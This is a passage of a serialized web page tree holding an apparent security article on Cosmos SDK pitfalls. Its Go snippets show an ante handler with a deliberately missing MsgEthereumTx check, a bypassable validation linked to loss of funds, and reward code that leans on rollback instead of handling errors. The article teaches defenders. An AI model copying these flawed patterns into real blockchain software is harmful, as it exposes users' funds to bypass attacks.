func",{"type":23,"tag":141,"props":78496,"children":78497},{"style":154},[78498],{"type":29,"value":2123},{"type":23,"tag":141,"props":78500,"children":78501},{"class":143,"line":801},[78502,78506,78510,78514,78518,78522,78526,78530,78534,78538,78542,78547,78551],{"type":23,"tag":141,"props":78503,"children":78504},{"style":750},[78505],{"type":29,"value":24870},{"type":23,"tag":141,"props":78507,"children":78508},{"style":725},[78509],{"type":29,"value":77126},{"type":23,"tag":141,"props":78511,"children":78512},{"style":154},[78513],{"type":29,"value":322},{"type":23,"tag":141,"props":78515,"children":78516},{"style":725},[78517],{"type":29,"value":74834},{"type":23,"tag":141,"props":78519,"children":78520},{"style":154},[78521],{"type":29,"value":480},{"type":23,"tag":141,"props":78523,"children":78524},{"style":750},[78525],{"type":29,"value":77666},{"type":23,"tag":141,"props":78527,"children":78528},{"style":725},[78529],{"type":29,"value":77126},{"type":23,"tag":141,"props":78531,"children":78532},{"style":154},[78533],{"type":29,"value":322},{"type":23,"tag":141,"props":78535,"children":78536},{"style":725},[78537],{"type":29,"value":77159},{"type":23,"tag":141,"props":78539,"children":78540},{"style":154},[78541],{"type":29,"value":480},{"type":23,"tag":141,"props":78543,"children":78544},{"style":750},[78545],{"type":29,"value":78546},"sim",{"type":23,"tag":141,"props":78548,"children":78549},{"style":725},[78550],{"type":29,"value":10730},{"type":23,"tag":141,"props":78552,"children":78553},{"style":154},[78554],{"type":29,"value":2168},{"type":23,"tag":141,"props":78556,"children":78557},{"class":143,"line":810},[78558,78563,78568,78572,78576,78580,78584,78588,78592],{"type":23,"tag":141,"props":78559,"children":78560},{"style":154},[78561],{"type":29,"value":78562}," ) (",{"type":23,"tag":141,"props":78564,"children":78565},{"style":750},[78566],{"type":29,"value":78567},"newCtx",{"type":23,"tag":141,"props":78569,"children":78570},{"style":725},[78571],{"type":29,"value":77126},{"type":23,"tag":141,"props":78573,"children":78574},{"style":154},[78575],{"type":29,"value":322},{"type":23,"tag":141,"props":78577,"children":78578},{"style":725},[78579],{"type":29,"value":74834},{"type":23,"tag":141,"props":78581,"children":78582},{"style":154},[78583],{"type":29,"value":480},{"type":23,"tag":141,"props":78585,"children":78586},{"style":750},[78587],{"type":29,"value":46898},{"type":23,"tag":141,"props":78589,"children":78590},{"style":725},[78591],{"type":29,"value":13553},{"type":23,"tag":141,"props":78593,"children":78594},{"style":154},[78595],{"type":29,"value":13480},{"type":23,"tag":141,"props":78597,"children":78598},{"class":143,"line":824},[78599,78604,78609,78613,78617],{"type":23,"tag":141,"props":78600,"children":78601},{"style":449},[78602],{"type":29,"value":78603}," var",{"type":23,"tag":141,"props":78605,"children":78606},{"style":750},[78607],{"type":29,"value":78608}," anteHandler",{"type":23,"tag":141,"props":78610,"children":78611},{"style":725},[78612],{"type":29,"value":77126},{"type":23,"tag":141,"props":78614,"children":78615},{"style":154},[78616],{"type":29,"value":322},{"type":23,"tag":141,"props":78618,"children":78619},{"style":725},[78620],{"type":29,"value":78621},"AnteHandler\n",{"type":23,"tag":141,"props":78623,"children":78624},{"class":143,"line":839},[78625],{"type":23,"tag":141,"props":78626,"children":78627},{"emptyLinePlaceholder":15},[78628],{"type":29,"value":719},{"type":23,"tag":141,"props":78630,"children":78631},{"class":143,"line":848},[78632,78637,78642,78646,78650,78654,78659,78663,78667,78671],{"type":23,"tag":141,"props":78633,"children":78634},{"style":148},[78635],{"type":29,"value":78636}," defer",{"type":23,"tag":141,"props":78638,"children":78639},{"style":184},[78640],{"type":29,"value":78641}," Recover",{"type":23,"tag":141,"props":78643,"children":78644},{"style":154},[78645],{"type":29,"value":192},{"type":23,"tag":141,"props":78647,"children":78648},{"style":750},[78649],{"type":29,"value":18952},{"type":23,"tag":141,"props":78651,"children":78652},{"style":154},[78653],{"type":29,"value":322},{"type":23,"tag":141,"props":78655,"children":78656},{"style":184},[78657],{"type":29,"value":78658},"Logger",{"type":23,"tag":141,"props":78660,"children":78661},{"style":154},[78662],{"type":29,"value":17053},{"type":23,"tag":141,"props":78664,"children":78665},{"style":160},[78666],{"type":29,"value":1770},{"type":23,"tag":141,"props":78668,"children":78669},{"style":750},[78670],{"type":29,"value":46898},{"type":23,"tag":141,"props":78672,"children":78673},{"style":154},[78674],{"type":29,"value":758},{"type":23,"tag":141,"props":78676,"children":78677},{"class":143,"line":2304},[78678],{"type":23,"tag":141,"props":78679,"children":78680},{"emptyLinePlaceholder":15},[78681],{"type":29,"value":719},{"type":23,"tag":141,"props":78683,"children":78684},{"class":143,"line":2313},[78685,78690,78694,78698,78702,78706,78710,78715,78719,78724],{"type":23,"tag":141,"props":78686,"children":78687},{"style":750},[78688],{"type":29,"value":78689}," txWithExtensions",{"type":23,"tag":141,"props":78691,"children":78692},{"style":154},[78693],{"type":29,"value":480},{"type":23,"tag":141,"props":78695,"children":78696},{"style":750},[78697],{"type":29,"value":77252},{"type":23,"tag":141,"props":78699,"children":78700},{"style":160},[78701],{"type":29,"value":74901},{"type":23,"tag":141,"props":78703,"children":78704},{"style":750},[78705],{"type":29,"value":66510},{"type":23,"tag":141,"props":78707,"children":78708},{"style":154},[78709],{"type":29,"value":77265},{"type":23,"tag":141,"props":78711,"children":78712},{"style":725},[78713],{"type":29,"value":78714},"authante",{"type":23,"tag":141,"props":78716,"children":78717},{"style":154},[78718],{"type":29,"value":322},{"type":23,"tag":141,"props":78720,"children":78721},{"style":725},[78722],{"type":29,"value":78723},"HasExtensionOptionsTx",{"type":23,"tag":141,"props":78725,"children":78726},{"style":154},[78727],{"type":29,"value":758},{"type":23,"tag":141,"props":78729,"children":78730},{"class":143,"line":2335},[78731,78735,78740],{"type":23,"tag":141,"props":78732,"children":78733},{"style":148},[78734],{"type":29,"value":233},{"type":23,"tag":141,"props":78736,"children":78737},{"style":750},[78738],{"type":29,"value":78739}," ok",{"type":23,"tag":141,"props":78741,"children":78742},{"style":154},[78743],{"type":29,"value":1951},{"type":23,"tag":141,"props":78745,"children":78746},{"class":143,"line":2343},[78747,78752,78756,78761,78765,78770],{"type":23,"tag":141,"props":78748,"children":78749},{"style":750},[78750],{"type":29,"value":78751}," opts",{"type":23,"tag":141,"props":78753,"children":78754},{"style":160},[78755],{"type":29,"value":74901},{"type":23,"tag":141,"props":78757,"children":78758},{"style":750},[78759],{"type":29,"value":78760}," txWithExtensions",{"type":23,"tag":141,"props":78762,"children":78763},{"style":154},[78764],{"type":29,"value":322},{"type":23,"tag":141,"props":78766,"children":78767},{"style":184},[78768],{"type":29,"value":78769},"GetExtensionOptions",{"type":23,"tag":141,"props":78771,"children":78772},{"style":154},[78773],{"type":29,"value":6410},{"type":23,"tag":141,"props":78775,"children":78776},{"class":143,"line":2352},[78777,78781,78785,78789,78793,78797,78801,78805],{"type":23,"tag":141,"props":78778,"children":78779},{"style":148},[78780],{"type":29,"value":57281},{"type":23,"tag":141,"props":78782,"children":78783},{"style":184},[78784],{"type":29,"value":7233},{"type":23,"tag":141,"props":78786,"children":78787},{"style":154},[78788],{"type":29,"value":192},{"type":23,"tag":141,"props":78790,"children":78791},{"style":750},[78792],{"type":29,"value":47040},{"type":23,"tag":141,"props":78794,"children":78795},{"style":154},[78796],{"type":29,"value":1748},{"type":23,"tag":141,"props":78798,"children":78799},{"style":160},[78800],{"type":29,"value":9142},{"type":23,"tag":141,"props":78802,"children":78803},{"style":472},[78804],{"type":29,"value":1707},{"type":23,"tag":141,"props":78806,"children":78807},{"style":154},[78808],{"type":29,"value":1951},{"type":23,"tag":141,"props":78810,"children":78811},{"class":143,"line":2421},[78812,78817,78822,78826,78831,78835,78839,78843,78848,78852,78857],{"type":23,"tag":141,"props":78813,"children":78814},{"style":148},[78815],{"type":29,"value":78816}," switch",{"type":23,"tag":141,"props":78818,"children":78819},{"style":750},[78820],{"type":29,"value":78821}," typeURL",{"type":23,"tag":141,"props":78823,"children":78824},{"style":160},[78825],{"type":29,"value":74901},{"type":23,"tag":141,"props":78827,"children":78828},{"style":750},[78829],{"type":29,"value":78830}," opts",{"type":23,"tag":141,"props":78832,"children":78833},{"style":154},[78834],{"type":29,"value":2399},{"type":23,"tag":141,"props":78836,"children":78837},{"style":472},[78838],{"type":29,"value":2698},{"type":23,"tag":141,"props":78840,"children":78841},{"style":154},[78842],{"type":29,"value":48827},{"type":23,"tag":141,"props":78844,"children":78845},{"style":184},[78846],{"type":29,"value":78847},"GetTypeUrl",{"type":23,"tag":141,"props":78849,"children":78850},{"style":154},[78851],{"type":29,"value":27133},{"type":23,"tag":141,"props":78853,"children":78854},{"style":750},[78855],{"type":29,"value":78856},"typeURL",{"type":23,"tag":141,"props":78858,"children":78859},{"style":154},[78860],{"type":29,"value":1951},{"type":23,"tag":141,"props":78862,"children":78863},{"class":143,"line":2429},[78864,78869,78874],{"type":23,"tag":141,"props":78865,"children":78866},{"style":148},[78867],{"type":29,"value":78868}," case",{"type":23,"tag":141,"props":78870,"children":78871},{"style":828},[78872],{"type":29,"value":78873}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":23,"tag":141,"props":78875,"children":78876},{"style":154},[78877],{"type":29,"value":4242},{"type":23,"tag":141,"props":78879,"children":78880},{"class":143,"line":2459},[78881],{"type":23,"tag":141,"props":78882,"children":78883},{"style":443},[78884],{"type":29,"value":78885}," // handle as *evmtypes.MsgEthereumTx\n",{"type":23,"tag":141,"props":78887,"children":78888},{"class":143,"line":2467},[78889],{"type":23,"tag":141,"props":78890,"children":78891},{"emptyLinePlaceholder":15},[78892],{"type":29,"value":719},{"type":23,"tag":141,"props":78894,"children":78895},{"class":143,"line":2499},[78896,78901,78905,78909,78913,78918],{"type":23,"tag":141,"props":78897,"children":78898},{"style":750},[78899],{"type":29,"value":78900}," anteHandler",{"type":23,"tag":141,"props":78902,"children":78903},{"style":160},[78904],{"type":29,"value":1674},{"type":23,"tag":141,"props":78906,"children":78907},{"style":750},[78908],{"type":29,"value":77126},{"type":23,"tag":141,"props":78910,"children":78911},{"style":154},[78912],{"type":29,"value":322},{"type":23,"tag":141,"props":78914,"children":78915},{"style":184},[78916],{"type":29,"value":78917},"ChainAnteDecorators",{"type":23,"tag":141,"props":78919,"children":78920},{"style":154},[78921],{"type":29,"value":2123},{"type":23,"tag":141,"props":78923,"children":78924},{"class":143,"line":2507},[78925,78930,78934],{"type":23,"tag":141,"props":78926,"children":78927},{"style":184},[78928],{"type":29,"value":78929}," NewEthSetUpContextDecorator",{"type":23,"tag":141,"props":78931,"children":78932},{"style":154},[78933],{"type":29,"value":17053},{"type":23,"tag":141,"props":78935,"children":78936},{"style":443},[78937],{"type":29,"value":77780},{"type":23,"tag":141,"props":78939,"children":78940},{"class":143,"line":2567},[78941],{"type":23,"tag":141,"props":78942,"children":78943},{"style":160},[78944],{"type":29,"value":78945}," ...\n",{"type":23,"tag":141,"props":78947,"children":78948},{"class":143,"line":7724},[78949,78954,78958,78963,78967],{"type":23,"tag":141,"props":78950,"children":78951},{"style":184},[78952],{"type":29,"value":78953}," NewEthIncrementSenderSequenceDecorator",{"type":23,"tag":141,"props":78955,"children":78956},{"style":154},[78957],{"type":29,"value":192},{"type":23,"tag":141,"props":78959,"children":78960},{"style":750},[78961],{"type":29,"value":78962},"ak",{"type":23,"tag":141,"props":78964,"children":78965},{"style":154},[78966],{"type":29,"value":13854},{"type":23,"tag":141,"props":78968,"children":78969},{"style":443},[78970],{"type":29,"value":78971},"// innermost AnteDecorator.\n",{"type":23,"tag":141,"props":78973,"children":78974},{"class":143,"line":7742},[78975],{"type":23,"tag":141,"props":78976,"children":78977},{"style":154},[78978],{"type":29,"value":78979}," )\n",{"type":23,"tag":141,"props":78981,"children":78982},{"class":143,"line":7787},[78983],{"type":23,"tag":141,"props":78984,"children":78985},{"emptyLinePlaceholder":15},[78986],{"type":29,"value":719},{"type":23,"tag":141,"props":78988,"children":78989},{"class":143,"line":7893},[78990,78995],{"type":23,"tag":141,"props":78991,"children":78992},{"style":148},[78993],{"type":29,"value":78994}," default",{"type":23,"tag":141,"props":78996,"children":78997},{"style":154},[78998],{"type":29,"value":4242},{"type":23,"tag":141,"props":79000,"children":79001},{"class":143,"line":22181},[79002,79007,79011,79015,79020,79024,79029],{"type":23,"tag":141,"props":79003,"children":79004},{"style":148},[79005],{"type":29,"value":79006}," return",{"type":23,"tag":141,"props":79008,"children":79009},{"style":750},[79010],{"type":29,"value":24527},{"type":23,"tag":141,"props":79012,"children":79013},{"style":154},[79014],{"type":29,"value":480},{"type":23,"tag":141,"props":79016,"children":79017},{"style":750},[79018],{"type":29,"value":79019},"stacktrace",{"type":23,"tag":141,"props":79021,"children":79022},{"style":154},[79023],{"type":29,"value":322},{"type":23,"tag":141,"props":79025,"children":79026},{"style":184},[79027],{"type":29,"value":79028},"Propagate",{"type":23,"tag":141,"props":79030,"children":79031},{"style":154},[79032],{"type":29,"value":2123},{"type":23,"tag":141,"props":79034,"children":79035},{"class":143,"line":22216},[79036,79041,79045,79049,79053,79058,79062,79067,79071,79075],{"type":23,"tag":141,"props":79037,"children":79038},{"style":750},[79039],{"type":29,"value":79040}," sdkerrors",{"type":23,"tag":141,"props":79042,"children":79043},{"style":154},[79044],{"type":29,"value":322},{"type":23,"tag":141,"props":79046,"children":79047},{"style":184},[79048],{"type":29,"value":77331},{"type":23,"tag":141,"props":79050,"children":79051},{"style":154},[79052],{"type":29,"value":192},{"type":23,"tag":141,"props":79054,"children":79055},{"style":750},[79056],{"type":29,"value":79057},"sdkerrors",{"type":23,"tag":141,"props":79059,"children":79060},{"style":154},[79061],{"type":29,"value":322},{"type":23,"tag":141,"props":79063,"children":79064},{"style":750},[79065],{"type":29,"value":79066},"ErrUnknownExtensionOptions",{"type":23,"tag":141,"props":79068,"children":79069},{"style":154},[79070],{"type":29,"value":480},{"type":23,"tag":141,"props":79072,"children":79073},{"style":750},[79074],{"type":29,"value":78856},{"type":23,"tag":141,"props":79076,"children":79077},{"style":154},[79078],{"type":29,"value":5410},{"type":23,"tag":141,"props":79080,"children":79081},{"class":143,"line":22224},[79082,79087],{"type":23,"tag":141,"props":79083,"children":79084},{"style":828},[79085],{"type":29,"value":79086}," \"rejecting tx with unsupported extension option\"",{"type":23,"tag":141,"props":79088,"children":79089},{"style":154},[79090],{"type":29,"value":2168},{"type":23,"tag":141,"props":79092,"children":79093},{"class":143,"line":22232},[79094],{"type":23,"tag":141,"props":79095,"children":79096},{"style":154},[79097],{"type":29,"value":78979},{"type":23,"tag":141,"props":79099,"children":79100},{"class":143,"line":22241},[79101],{"type":23,"tag":141,"props":79102,"children":79103},{"style":154},[79104],{"type":29,"value":69554},{"type":23,"tag":141,"props":79106,"children":79107},{"class":143,"line":22283},[79108],{"type":23,"tag":141,"props":79109,"children":79110},{"emptyLinePlaceholder":15},[79111],{"type":29,"value":719},{"type":23,"tag":141,"props":79113,"children":79114},{"class":143,"line":22316},[79115,79119,79123,79127,79131,79135,79139,79143,79147],{"type":23,"tag":141,"props":79116,"children":79117},{"style":148},[79118],{"type":29,"value":59209},{"type":23,"tag":141,"props":79120,"children":79121},{"style":184},[79122],{"type":29,"value":78608},{"type":23,"tag":141,"props":79124,"children":79125},{"style":154},[79126],{"type":29,"value":192},{"type":23,"tag":141,"props":79128,"children":79129},{"style":750},[79130],{"type":29,"value":18952},{"type":23,"tag":141,"props":79132,"children":79133},{"style":154},[79134],{"type":29,"value":480},{"type":23,"tag":141,"props":79136,"children":79137},{"style":750},[79138],{"type":29,"value":77666},{"type":23,"tag":141,"props":79140,"children":79141},{"style":154},[79142],{"type":29,"value":480},{"type":23,"tag":141,"props":79144,"children":79145},{"style":750},[79146],{"type":29,"value":78546},{"type":23,"tag":141,"props":79148,"children":79149},{"style":154},[79150],{"type":29,"value":758},{"type":23,"tag":141,"props":79152,"children":79153},{"class":143,"line":22324},[79154],{"type":23,"tag":141,"props":79155,"children":79156},{"style":154},[79157],{"type":29,"value":57365},{"type":23,"tag":141,"props":79159,"children":79160},{"class":143,"line":22332},[79161],{"type":23,"tag":141,"props":79162,"children":79163},{"style":154},[79164],{"type":29,"value":2008},{"type":23,"tag":141,"props":79166,"children":79167},{"class":143,"line":22341},[79168],{"type":23,"tag":141,"props":79169,"children":79170},{"emptyLinePlaceholder":15},[79171],{"type":29,"value":719},{"type":23,"tag":141,"props":79173,"children":79174},{"class":143,"line":22417},[79175],{"type":23,"tag":141,"props":79176,"children":79177},{"style":443},[79178],{"type":29,"value":79179}," // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":23,"tag":141,"props":79181,"children":79182},{"class":143,"line":22450},[79183],{"type":23,"tag":141,"props":79184,"children":79185},{"emptyLinePlaceholder":15},[79186],{"type":29,"value":719},{"type":23,"tag":141,"props":79188,"children":79189},{"class":143,"line":22458},[79190,79195,79199,79203,79207],{"type":23,"tag":141,"props":79191,"children":79192},{"style":148},[79193],{"type":29,"value":79194}," switch",{"type":23,"tag":141,"props":79196,"children":79197},{"style":750},[79198],{"type":29,"value":66510},{"type":23,"tag":141,"props":79200,"children":79201},{"style":154},[79202],{"type":29,"value":77265},{"type":23,"tag":141,"props":79204,"children":79205},{"style":449},[79206],{"type":29,"value":31225},{"type":23,"tag":141,"props":79208,"children":79209},{"style":154},[79210],{"type":29,"value":13480},{"type":23,"tag":141,"props":79212,"children":79213},{"class":143,"line":22466},[79214,79219,79223,79227,79231],{"type":23,"tag":141,"props":79215,"children":79216},{"style":148},[79217],{"type":29,"value":79218}," case",{"type":23,"tag":141,"props":79220,"children":79221},{"style":725},[79222],{"type":29,"value":77126},{"type":23,"tag":141,"props":79224,"children":79225},{"style":154},[79226],{"type":29,"value":322},{"type":23,"tag":141,"props":79228,"children":79229},{"style":725},[79230],{"type":29,"value":77159},{"type":23,"tag":141,"props":79232,"children":79233},{"style":154},[79234],{"type":29,"value":4242},{"type":23,"tag":141,"props":79236,"children":79237},{"class":143,"line":22503},[79238,79243,79247,79251,79255,79259],{"type":23,"tag":141,"props":79239,"children":79240},{"style":750},[79241],{"type":29,"value":79242}," anteHandler",{"type":23,"tag":141,"props":79244,"children":79245},{"style":160},[79246],{"type":29,"value":1674},{"type":23,"tag":141,"props":79248,"children":79249},{"style":750},[79250],{"type":29,"value":77126},{"type":23,"tag":141,"props":79252,"children":79253},{"style":154},[79254],{"type":29,"value":322},{"type":23,"tag":141,"props":79256,"children":79257},{"style":184},[79258],{"type":29,"value":78917},{"type":23,"tag":141,"props":79260,"children":79261},{"style":154},[79262],{"type":29,"value":2123},{"type":23,"tag":141,"props":79264,"children":79265},{"class":143,"line":22516},[79266,79271,79275,79280,79284],{"type":23,"tag":141,"props":79267,"children":79268},{"style":750},[79269],{"type":29,"value":79270}," authante",{"type":23,"tag":141,"props":79272,"children":79273},{"style":154},[79274],{"type":29,"value":322},{"type":23,"tag":141,"props":79276,"children":79277},{"style":184},[79278],{"type":29,"value":79279},"NewSetUpContextDecorator",{"type":23,"tag":141,"props":79281,"children":79282},{"style":154},[79283],{"type":29,"value":17053},{"type":23,"tag":141,"props":79285,"children":79286},{"style":443},[79287],{"type":29,"value":77780},{"type":23,"tag":141,"props":79289,"children":79290},{"class":143,"line":22529},[79291],{"type":23,"tag":141,"props":79292,"children":79293},{"style":160},[79294],{"type":29,"value":79295}," ...\n",{"type":23,"tag":141,"props":79297,"children":79298},{"class":143,"line":22542},[79299,79303,79307,79312,79316,79320,79324],{"type":23,"tag":141,"props":79300,"children":79301},{"style":750},[79302],{"type":29,"value":79270},{"type":23,"tag":141,"props":79304,"children":79305},{"style":154},[79306],{"type":29,"value":322},{"type":23,"tag":141,"props":79308,"children":79309},{"style":184},[79310],{"type":29,"value":79311},"NewIncrementSequenceDecorator",{"type":23,"tag":141,"props":79313,"children":79314},{"style":154},[79315],{"type":29,"value":192},{"type":23,"tag":141,"props":79317,"children":79318},{"style":750},[79319],{"type":29,"value":78962},{"type":23,"tag":141,"props":79321,"children":79322},{"style":154},[79323],{"type":29,"value":13854},{"type":23,"tag":141,"props":79325,"children":79326},{"style":443},[79327],{"type":29,"value":79328},"// innermost AnteDecorator\n",{"type":23,"tag":141,"props":79330,"children":79331},{"class":143,"line":22596},[79332],{"type":23,"tag":141,"props":79333,"children":79334},{"style":154},[79335],{"type":29,"value":76000},{"type":23,"tag":141,"props":79337,"children":79338},{"class":143,"line":22605},[79339,79344],{"type":23,"tag":141,"props":79340,"children":79341},{"style":148},[79342],{"type":29,"value":79343}," default",{"type":23,"tag":141,"props":79345,"children":79346},{"style":154},[79347],{"type":29,"value":4242},{"type":23,"tag":141,"props":79349,"children":79350},{"class":143,"line":30749},[79351,79355,79359,79363,79367,79371,79375],{"type":23,"tag":141,"props":79352,"children":79353},{"style":148},[79354],{"type":29,"value":77561},{"type":23,"tag":141,"props":79356,"children":79357},{"style":750},[79358],{"type":29,"value":24527},{"type":23,"tag":141,"props":79360,"children":79361},{"style":154},[79362],{"type":29,"value":480},{"type":23,"tag":141,"props":79364,"children":79365},{"style":750},[79366],{"type":29,"value":79019},{"type":23,"tag":141,"props":79368,"children":79369},{"style":154},[79370],{"type":29,"value":322},{"type":23,"tag":141,"props":79372,"children":79373},{"style":184},[79374],{"type":29,"value":79028},{"type":23,"tag":141,"props":79376,"children":79377},{"style":154},[79378],{"type":29,"value":2123},{"type":23,"tag":141,"props":79380,"children":79381},{"class":143,"line":30770},[79382,79387,79391,79396,79400,79404,79408,79413,79417,79422,79426,79430],{"type":23,"tag":141,"props":79383,"children":79384},{"style":750},[79385],{"type":29,"value":79386}," sdkerrors",{"type":23,"tag":141,"props":79388,"children":79389},{"style":154},[79390],{"type":29,"value":322},{"type":23,"tag":141,"props":79392,"children":79393},{"style":184},[79394],{"type":29,"value":79395},"Wrapf",{"type":23,"tag":141,"props":79397,"children":79398},{"style":154},[79399],{"type":29,"value":192},{"type":23,"tag":141,"props":79401,"children":79402},{"style":750},[79403],{"type":29,"value":79057},{"type":23,"tag":141,"props":79405,"children":79406},{"style":154},[79407],{"type":29,"value":322},{"type":23,"tag":141,"props":79409,"children":79410},{"style":750},[79411],{"type":29,"value":79412},"ErrUnknownRequest",{"type":23,"tag":141,"props":79414,"children":79415},{"style":154},[79416],{"type":29,"value":480},{"type":23,"tag":141,"props":79418,"children":79419},{"style":828},[79420],{"type":29,"value":79421},"\"invalid transaction type: %T\"",{"type":23,"tag":141,"props":79423,"children":79424},{"style":154},[79425],{"type":29,"value":480},{"type":23,"tag":141,"props":79427,"children":79428},{"style":750},[79429],{"type":29,"value":77666},{"type":23,"tag":141,"props":79431,"children":79432},{"style":154},[79433],{"type":29,"value":5410},{"type":23,"tag":141,"props":79435,"children":79437},{"class":143,"line":79436},53,[79438,79443],{"type":23,"tag":141,"props":79439,"children":79440},{"style":828},[79441],{"type":29,"value":79442}," \"transaction is not an SDK tx\"",{"type":23,"tag":141,"props":79444,"children":79445},{"style":154},[79446],{"type":29,"value":2168},{"type":23,"tag":141,"props":79448,"children":79450},{"class":143,"line":79449},54,[79451],{"type":23,"tag":141,"props":79452,"children":79453},{"style":154},[79454],{"type":29,"value":76000},{"type":23,"tag":141,"props":79456,"children":79458},{"class":143,"line":79457},55,[79459],{"type":23,"tag":141,"props":79460,"children":79461},{"style":154},[79462],{"type":29,"value":2008},{"type":23,"tag":141,"props":79464,"children":79466},{"class":143,"line":79465},56,[79467],{"type":23,"tag":141,"props":79468,"children":79469},{"emptyLinePlaceholder":15},[79470],{"type":29,"value":719},{"type":23,"tag":141,"props":79472,"children":79474},{"class":143,"line":79473},57,[79475,79479,79483,79487,79491,79495,79499,79503,79507],{"type":23,"tag":141,"props":79476,"children":79477},{"style":148},[79478],{"type":29,"value":14420},{"type":23,"tag":141,"props":79480,"children":79481},{"style":184},[79482],{"type":29,"value":78608},{"type":23,"tag":141,"props":79484,"children":79485},{"style":154},[79486],{"type":29,"value":192},{"type":23,"tag":141,"props":79488,"children":79489},{"style":750},[79490],{"type":29,"value":18952},{"type":23,"tag":141,"props":79492,"children":79493},{"style":154},[79494],{"type":29,"value":480},{"type":23,"tag":141,"props":79496,"children":79497},{"style":750},[79498],{"type":29,"value":77666},{"type":23,"tag":141,"props":79500,"children":79501},{"style":154},[79502],{"type":29,"value":480},{"type":23,"tag":141,"props":79504,"children":79505},{"style":750},[79506],{"type":29,"value":78546},{"type":23,"tag":141,"props":79508,"children":79509},{"style":154},[79510],{"type":29,"value":758},{"type":23,"tag":141,"props":79512,"children":79514},{"class":143,"line":79513},58,[79515],{"type":23,"tag":141,"props":79516,"children":79517},{"style":154},[79518],{"type":29,"value":299},{"type":23,"tag":141,"props":79520,"children":79522},{"class":143,"line":79521},59,[79523],{"type":23,"tag":141,"props":79524,"children":79525},{"style":154},[79526],{"type":29,"value":2573},{"type":23,"tag":32,"props":79528,"children":79529},{},[79530,79532,79537,79539,79546,79547,79554],{"type":29,"value":79531},"Additional examples of incorrect ",{"type":23,"tag":38,"props":79533,"children":79535},{"className":79534},[],[79536],{"type":29,"value":76955},{"type":29,"value":79538}," usage include ",{"type":23,"tag":55,"props":79540,"children":79543},{"href":79541,"rel":79542},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[59],[79544],{"type":29,"value":79545},"yet more bypassable checks and loss of funds",{"type":29,"value":313},{"type":23,"tag":55,"props":79548,"children":79551},{"href":79549,"rel":79550},"https://github.com/cosmos/ibc-go/issues/853",[59],[79552],{"type":29,"value":79553},"incorrect data passing between blockchains",{"type":29,"value":322},{"type":23,"tag":24,"props":79556,"children":79558},{"id":79557},"errors-panics-i-can-handle-it",[79559],{"type":29,"value":79560},"Errors? Panics? I can handle it",{"type":23,"tag":32,"props":79562,"children":79563},{},[79564],{"type":29,"value":79565},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":23,"tag":32,"props":79567,"children":79568},{},[79569],{"type":29,"value":79570},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":23,"tag":32,"props":79572,"children":79573},{},[79574,79576,79582,79584,79589],{"type":29,"value":79575},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":23,"tag":38,"props":79577,"children":79579},{"className":79578},[],[79580],{"type":29,"value":79581},"k.keeper.TotalReward()",{"type":29,"value":79583}," returns zero, the ",{"type":23,"tag":38,"props":79585,"children":79587},{"className":79586},[],[79588],{"type":29,"value":56426},{"type":29,"value":79590}," execution will simply rollback as if nothing has happened.",{"type":23,"tag":131,"props":79592,"children":79594},{"code":79593,"language":74649,"meta":7,"className":74650,"style":7},"func (k msgServer) AllocateReward(\n goCtx context.Context,\n msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n RewardPerShare := k.keeper.Shares() / k.keeper.TotalReward()\n k.keeper.DistributeReward(RewardPerShare)\n\n return &types.MsgAllocateRewardResponse, nil\n}\n",[79595],{"type":23,"tag":38,"props":79596,"children":79597},{"__ignoreMap":7},[79598,79631,79654,79682,79718,79725,79794,79832,79839,79871],{"type":23,"tag":141,"props":79599,"children":79600},{"class":143,"line":144},[79601,79605,79609,79614,79618,79622,79627],{"type":23,"tag":141,"props":79602,"children":79603},{"style":449},[79604],{"type":29,"value":74785},{"type":23,"tag":141,"props":79606,"children":79607},{"style":154},[79608],{"type":29,"value":1220},{"type":23,"tag":141,"props":79610,"children":79611},{"style":750},[79612],{"type":29,"value":79613},"k ",{"type":23,"tag":141,"props":79615,"children":79616},{"style":725},[79617],{"type":29,"value":74799},{"type":23,"tag":141,"props":79619,"children":79620},{"style":154},[79621],{"type":29,"value":1748},{"type":23,"tag":141,"props":79623,"children":79624},{"style":184},[79625],{"type":29,"value":79626},"AllocateReward",{"type":23,"tag":141,"props":79628,"children":79629},{"style":154},[79630],{"type":29,"value":2123},{"type":23,"tag":141,"props":79632,"children":79633},{"class":143,"line":180},[79634,79638,79642,79646,79650],{"type":23,"tag":141,"props":79635,"children":79636},{"style":750},[79637],{"type":29,"value":74820},{"type":23,"tag":141,"props":79639,"children":79640},{"style":725},[79641],{"type":29,"value":74825},{"type":23,"tag":141,"props":79643,"children":79644},{"style":154},[79645],{"type":29,"value":322},{"type":23,"tag":141,"props":79647,"children":79648},{"style":725},[79649],{"type":29,"value":74834},{"type":23,"tag":141,"props":79651,"children":79652},{"style":154},[79653],{"type":29,"value":2168},{"type":23,"tag":141,"props":79655,"children":79656},{"class":143,"line":205},[79657,79661,79665,79669,79673,79678],{"type":23,"tag":141,"props":79658,"children":79659},{"style":750},[79660],{"type":29,"value":74846},{"type":23,"tag":141,"props":79662,"children":79663},{"style":160},[79664],{"type":29,"value":8496},{"type":23,"tag":141,"props":79666,"children":79667},{"style":725},[79668],{"type":29,"value":4432},{"type":23,"tag":141,"props":79670,"children":79671},{"style":154},[79672],{"type":29,"value":322},{"type":23,"tag":141,"props":79674,"children":79675},{"style":725},[79676],{"type":29,"value":79677},"MsgAllocateReward",{"type":23,"tag":141,"props":79679,"children":79680},{"style":154},[79681],{"type":29,"value":758},{"type":23,"tag":141,"props":79683,"children":79684},{"class":143,"line":218},[79685,79689,79693,79697,79701,79706,79710,79714],{"type":23,"tag":141,"props":79686,"children":79687},{"style":154},[79688],{"type":29,"value":192},{"type":23,"tag":141,"props":79690,"children":79691},{"style":160},[79692],{"type":29,"value":197},{"type":23,"tag":141,"props":79694,"children":79695},{"style":725},[79696],{"type":29,"value":4432},{"type":23,"tag":141,"props":79698,"children":79699},{"style":154},[79700],{"type":29,"value":322},{"type":23,"tag":141,"props":79702,"children":79703},{"style":725},[79704],{"type":29,"value":79705},"MsgAllocatRewardResponse",{"type":23,"tag":141,"props":79707,"children":79708},{"style":154},[79709],{"type":29,